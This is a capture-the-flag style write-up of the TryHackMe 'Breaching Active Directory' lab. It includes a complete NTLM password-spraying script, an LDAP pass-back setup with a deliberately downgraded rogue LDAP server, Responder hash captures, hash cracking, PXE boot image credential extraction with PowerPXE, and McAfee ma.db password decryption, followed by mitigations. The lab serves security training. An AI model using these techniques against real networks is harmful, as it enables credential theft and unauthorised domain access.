Breaching Active Directory
https://tryhackme.com/room/breachingad

Task 1 - Deploy machine

Attacker Machine: 10.50.94.22
🎯 Target IP: 10.200.97.201
| 10.200.97.101
Download VPN
Go here to download correct network VPN (select networks and room name) server and not the classic VPN file for normal machines: https://tryhackme.com/access

Start VPN in a dedicated shell: sudo openvpn breachingad.ovpn
DNS Config
Create a directory on the Desktop with the machine's name, and inside this directory, create another directory to store the materials and outputs needed to run the machine.
su
echo "10.200.97.101 breachingad.thm" >> /etc/hosts
mkdir -p thm/AD/breachingad
cd thm/AD/breachingad
mkdir {nmap,content,exploits,scripts}
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts
If you are using a Kali VM, Network Manager is most likely used as DNS manager. You can use GUI Menu to configure DNS:
Network Manager -> Advanced Network Configuration -> Your Connection -> IPv4 Settings
Set your DNS IP here to the IP for THMDC in the network diagram above
Add another DNS such as 1.1.1.1 or 8.8.8.8 to ensure you still have internet access

Run sudo systemctl restart NetworkManager
and test your DNS similar to the steps above.
Now, check if all are right pinging and executing an nslookup between domain dns and IP: nslookup za.tryhackme.com 10.200.97.101

Task 2 - OSINT and Phishing
Task 3 - NTLM Authenticated Services
NTLM and NetNTLM
New Technology LAN Manager (NTLM) is the suite of security protocols used to authenticate users' identities in AD. NTLM can be used for authentication by using a challenge-response-based scheme called NetNTLM. This authentication mechanism is heavily used by the services on a network. However, services that use NetNTLM can also be exposed to the internet.
The process is shown in the diagram below:

Brute-force Login Attacks
As anticipated into task 2, some AD services can also be used directly in an attempt to recover an initial set of valid AD credentials. We could perhaps try to use these for brute force attacks if we recovered information such as valid email addresses during our initial red team recon.
Since most AD environments have account lockout configured, we won't be able to run a full brute-force attack.
Navigating to the URL, we can see that it prompts us for Windows Authentication credentials:
Instead, we need to perform a password spraying attack.
THM proposed a userlist.txt file and this below python script ntlm_passwordspray.py
(in alternative we can use hydra) to run psw spray attack on this web app hosted at this URL: http://ntlmauth.za.tryhackme.com

#!/usr/bin/python3
import requests
from requests_ntlm import HttpNtlmAuth
import sys, getopt
class NTLMSprayer:
def __init__(self, fqdn):
self.HTTP_AUTH_FAILED_CODE = 401
self.HTTP_AUTH_SUCCEED_CODE = 200
self.verbose = True
self.fqdn = fqdn
def load_users(self, userfile):
self.users = []
lines = open(userfile, 'r').readlines()
for line in lines:
self.users.append(line.replace("\r", "").replace("\n", ""))
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
count = 0
for user in self.users:
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
def main(argv):
userfile = ''
fqdn = ''
password = ''
attackurl = ''
try:
opts, args = getopt.getopt(argv, "hu:f:p:a:", ["userfile=", "fqdn=", "password=", "attackurl="])
except getopt.GetoptError:
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit()
elif opt in ("-u", "--userfile"):
userfile = str(arg)
elif opt in ("-f", "--fqdn"):
fqdn = str(arg)
elif opt in ("-p", "--password"):
password = str(arg)
elif opt in ("-a", "--attackurl"):
attackurl = str(arg)
if (len(userfile) > 0 and len(fqdn) > 0 and len(password) > 0 and len(attackurl) > 0):
#Start attack
sprayer = NTLMSprayer(fqdn)
sprayer.load_users(userfile)
sprayer.password_spray(password, attackurl)
sys.exit()
else:
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
if __name__ == "__main__":
main(sys.argv[1:])
Run it adding the following parameters:
<userfile> - Textfile containing our usernames - "usernames.txt"
<fqdn> - Fully qualified domain name associated with the organisation that we are attacking - "za.tryhackme.com"
<password> - The password we want to use for our spraying attack - "Changeme123"
<attackurl> - The URL of the application that supports Windows Authentication - "http://ntlmauth.za.tryhackme.com"
python3 ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com

Valid credential pair are these 4:
hollie.powell::Changeme123
heather.smith::Changeme123
gordon.stevens::Changeme123
georgina.edwards::Changeme123
Login with one of these credentials we can see the following message on the page:

Task 4 - LDAP Bind Credentials
Another method of AD authentication that applications can use is Lightweight Directory Access Protocol (LDAP) authentication. LDAP authentication is similar to NTLM authentication. However, with LDAP authentication, the application directly verifies the user's credentials. The application has a pair of AD credentials that it can use first to query LDAP and then verify the AD user's credentials.
The process of authentication through LDAP is shown below:

LDAP Pass-back Attacks
However, one other very interesting attack can be performed against LDAP authentication mechanisms, called an LDAP Pass-back attack. This is a common attack against network devices, such as printers, when you have gained initial access to the internal network, such as plugging in a rogue device in a boardroom.
LDAP Pass-back attacks can be performed when we gain access to a device's configuration where the LDAP parameters are specified. This can be, for example, the web interface of a network printer. Usually, the credentials for these interfaces are kept to the default ones, such as admin:admin
or admin:password
. Here, we won't be able to directly extract the LDAP credentials since the password is usually hidden. However, we can alter the LDAP configuration, such as the IP or hostname of the LDAP server. In an LDAP Pass-back attack, we can modify this IP to our IP and then test the LDAP configuration, which will force the device to attempt LDAP authentication to our rogue device. We can intercept this authentication attempt to recover the LDAP credentials.
Performing an LDAP Pass-back
There is a network printer in this network where the administration website does not even require credentials. Navigate to http://printer.za.tryhackme.com/settings.aspx to find the settings page of the printer:

So we have the username (svcLDAP), but not the password. However, when we press test settings, we can see that an authentication request is made to the domain controller to test the LDAP credentials. Let's try to exploit this to get the printer to connect to us instead, which would disclose the credentials (LDAP Connection failed: The LDAP server is unavailable.).
To do this, let's use a simple Netcat listener to test if we can get the printer to connect to us. Since the default port of LDAP is 389, we can use the following command:
nc -nlvp 389
Our IP is 10.50.94.22, add it to server field an click to Test Settings to establish connection:

The supportedCapabilities
response tells us we have a problem. Essentially, before the printer sends over the credentials, it is trying to negotiate the LDAP authentication method details. It will use this negotiation to select the most secure authentication method that both the printer and the LDAP server support. If the authentication method is too secure, the credentials will not be transmitted in cleartext. With some authentication methods, the credentials will not be transmitted over the network at all! So we can't just use normal Netcat to harvest the credentials. We will need to create a rogue LDAP server and configure it insecurely to ensure the credentials are sent in plaintext.
Hosting a Rogue LDAP Server
There are several ways to host a rogue LDAP server, but we will use OpenLDAP for this example. If you are using the AttackBox, OpenLDAP has already been installed for you. However, if you are using your own attack machine, you will need to install OpenLDAP using the following command:
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
You will however have to configure your own rogue LDAP server on the AttackBox as well. We will start by reconfiguring the LDAP server using the following command:
sudo dpkg-reconfigure -p low slapd
bBefore using the rogue LDAP server, we need to make it vulnerable by downgrading the supported authentication mechanisms. We want to ensure that our LDAP server only supports PLAIN and LOGIN authentication methods. To do this, we need to create a new ldif file, called olcSaslSecProps.ldif with the following content:
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
The file has the following properties:
olcSaslSecProps: Specifies the SASL security properties
noanonymous: Disables mechanisms that support anonymous login
minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.
Now we can use the ldif file to patch our LDAP server using the following:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
We can verify that our rogue LDAP server's configuration has been applied using the following command:
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms

Capturing LDAP Credentials
Our rogue LDAP server has now been configured. When we click the "Test Settings" at http://printer.za.tryhackme.com/settings.aspx, the authentication will occur in clear text. If you configured your rogue LDAP server correctly and it is downgrading the communication, you will receive the following error: "This distinguished name contains invalid syntax". If you receive this error, you can use a tcpdump to capture the credentials using the following command:
sudo tcpdump -SX -i breachad tcp port 389

Checking well we can see our psw: tryhackmeldappass1@

Task 5 - Authentication Relays
Intercepting NetNTLM Challenge

If you want to try this type of attack in action, head over to the Holo Network. We will also come back to this one in future AD Rooms.
One thing to note is that Responder essentially tries to win the race condition by poisoning the connections to ensure that you intercept the connection. This means that Responder is usually limited to poisoning authentication challenges on the local network. Since we are connected via a VPN to the network, we will only be able to poison authentication challenges that occur on this VPN network. For this reason, we have simulated an authentication request that can be poisoned that runs every 30 minutes. This means that you may have to wait a bit before you can intercept the NetNTLM challenge and response.
sudo responder -I breachad
Click again on Test Settings and well'obtain the NTLM hash:

[LDAP] NTLMv1-SSP Client : 10.200.97.201
[LDAP] NTLMv1-SSP Username : za.tryhackme.com\svcLDAP
[LDAP] NTLMv1-SSP Hash : svcLDAP::za.tryhackme.com:9FB6BCD87B4789CC00000000000000000000000000000000:8CBA015C6E67A8051767E3F1B499660D3EE1F3AB48309CC0:218d37195ecdfe26
[SMB] NTLMv2-SSP Client : 10.200.97.202
[SMB] NTLMv2-SSP Username : ZA\svcFileCopy
[SMB] NTLMv2-SSP Hash : svcFileCopy::ZA:1b25035d0392b913:8484DD62202795C192889CF115625A6B:0101000000000000805E2536B6D7DB017D9BFD94268B994A0000000002000800440032005A00530001001E00570049004E002D00320036004400520047004C0051004F0044004100590004003400570049004E002D00320036004400520047004C0051004F004400410059002E00440032005A0053002E004C004F00430041004C0003001400440032005A0053002E004C004F00430041004C0005001400440032005A0053002E004C004F00430041004C0007000800805E2536B6D7DB0106000400020000000800300030000000000000000000000000200000EF033AF865F35B3428BC1D54D1FBEB7AB4792597281B995CC5A950B5CE2FF9890A001000000000000000000000000000000000000900200063006900660073002F00310030002E00350030002E00390034002E00320032000000000000000000
Save the value of NTLMv2-SSP Hash into a file hashes.txt
and using the wordlist provided by THM password_list.txt
we can crack it using tools like as Hashcat or JohnTheRipper:
john --wordlist=password_list.txt hashes.txt

The credentials discovered are: svcFileCopy::FPassword1!
Task 6 - Microsoft Deployment Toolkit
PXE Boot Image Retrieval
The first piece of information regarding the PXE Boot preconfigure you would have received via DHCP is the IP of the MDT server. In our case, you can recover that information from the TryHackMe network diagram.

The second piece of information you would have received was the names of the BCD files. These files store the information relevant to PXE Boots for the different types of architecture. To retrieve this information, you will need to connect to this website: http://pxeboot.za.tryhackme.com. It will list various BCD files:

Usually, you would use TFTP to request each of these BCD files and enumerate the configuration for all of them. However, in the interest of time, we will focus on the BCD file of the x64 architecture. Copy and store the full name of this file. For the rest of this exercise, we will be using this name placeholder x64{7B...B3}.bcd
since the files and their names are regenerated by MDT every day. Each time you see this placeholder, remember to replace it with your specific BCD filename. Note as well that if the network has just started, these file names will only update after 10 mintes of the network being active.
With this initial information now recovered from DHCP (wink wink), we can enumerate and retrieve the PXE Boot image. We will be using our SSH connection on THMJMP1 for the next couple of steps, so please authenticate to this SSH session using the following:
ssh thm@THMJMP1.za.tryhackme.com
and the password of Password1@
.
To ensure that all users of the network can use SSH, start by creating a folder with your username and copying the powerpxe repo into this folder:
cd Documents
mkdir devan
copy C:\powerpxe devan\
cd devan

The first step we need to perform is using TFTP and downloading our BCD file to read the configuration of the MDT server. TFTP is a bit trickier than FTP since we can't list files. Instead, we send a file request, and the server will connect back to us via UDP to transfer the file. Hence, we need to be accurate when specifying files and file paths. The BCD files are always located in the /Tmp/ directory on the MDT server. We can initiate the TFTP transfer using the following command in our SSH session: tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd
tftp -i 10.200.97.202 GET "\Tmp\x64{65ED1F93-C840-47C7-804F-197313E8F1B7}.bcd" conf.bcd

You will have to lookup THMMDT IP with nslookup thmmdt.za.tryhackme.com
. With the BCD file now recovered, we will be using powerpxe to read its contents. Powerpxe is a PowerShell script that automatically performs this type of attack but usually with varying results, so it is better to perform a manual approach. We will use the Get-WimFile function of powerpxe to recover the locations of the PXE Boot images from the BCD file:
powershell -executionpolicy bypass
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile

tftp -i 10.200.97.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wim
This download will take a while since you are downloading a fully bootable and configured Windows image.

Recovering Credentials from a PXE Boot Image
Now that we have recovered the PXE Boot image, we can exfiltrate stored credentials. It should be noted that there are various attacks that we could stage. We could inject a local administrator user, so we have admin access as soon as the image boots, we could install the image to have a domain-joined machine. If you are interested in learning more about these attacks, you can read this article. This exercise will focus on a simple attack of just attempting to exfiltrate credentials.
Again we will use powerpxe to recover the credentials, but you could also do this step manually by extracting the image and looking for the bootstrap.ini file, where these types of credentials are often stored. To use powerpxe to recover the credentials from the bootstrap file, run the following command:
Get-FindCredentials -WimFile pxeboot.wim

The UserPassword is: PXEBootSecure1@
.
Task 7 - Configuration Files
However, we will focus on recovering credentials from a centrally deployed application in this task. Usually, these applications need a method to authenticate to the domain during both the installation and execution phases. An example of such as application is McAfee Enterprise Endpoint Security, which organisations can use as the endpoint detection and response tool for security.
McAfee embeds the credentials used during installation to connect back to the orchestrator in a file called ma.db. This database file can be retrieved and read with local access to the host to recover the associated AD service account. We will be using the SSH access on THMJMP1 again for this exercise.
cd C:\ProgramData\McAfee\Agent\DB
dir

We can use SCP to copy the ma.db to our attacker machine:
scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .
sqlitebrowser ma.db

Using sqlitebrowser, we will select the Browse Data option and focus on the AGENT_REPOSITORIES
table:

We are particularly interested in the second entry focusing on the DOMAIN, AUTH_USER, and AUTH_PASSWD field entries. Make a note of the values stored in these entries. However, the AUTH_PASSWD field is encrypted. Luckily,
svcAV's psw value is: jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
McAfee encrypts this field with a known key. Therefore, python script provided by THM doesn't work in my case, so i've used this one present on github: https://github.com/funoverip/mcafee-sitelist-pwd-decryption)
./mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==

Decrypted svcAV's password is: MyStrongPassword!
Task 8 - Conclusion
A significant amount of attack avenues can be followed to breach AD. We covered some of those commonly seen being used during a red team exercise in this network. Due to the sheer size of the attack surface, new avenues to recover that first set of AD credentials are constantly being discovered. Building a proper enumeration methodology and continuously updating it will be required to find that initial pair of credentials.
Mitigations
In terms of mitigations, there are some steps that organisations can take:
User awareness and training - The weakest link in the cybersecurity chain is almost always users. Training users and making them aware that they should be careful about disclosing sensitive information such as credentials and not trust suspicious emails reduces this attack surface.
Limit the exposure of AD services and applications online - Not all applications must be accessible from the internet, especially those that support NTLM and LDAP authentication. Instead, these applications should be placed in an intranet that can be accessed through a VPN. The VPN can then support multi-factor authentication for added security.
Enforce Network Access Control (NAC) - NAC can prevent attackers from connecting rogue devices on the network. However, it will require quite a bit of effort since legitimate devices will have to be allowlisted.
Enforce SMB Signing - By enforcing SMB signing, SMB relay attacks are not possible.
Follow the principle of least privileges - In most cases, an attacker will be able to recover a set of AD credentials. By following the principle of least privilege, especially for credentials used for services, the risk associated with these credentials being compromised can be significantly reduced.
Now that we have breached AD, the next step is to perform enumeration of AD to gain a better understanding of the domain structure and identify potential misconfigurations that can be exploited. This will be covered in the next room. Remember to clear the DNS configuration!

Last updated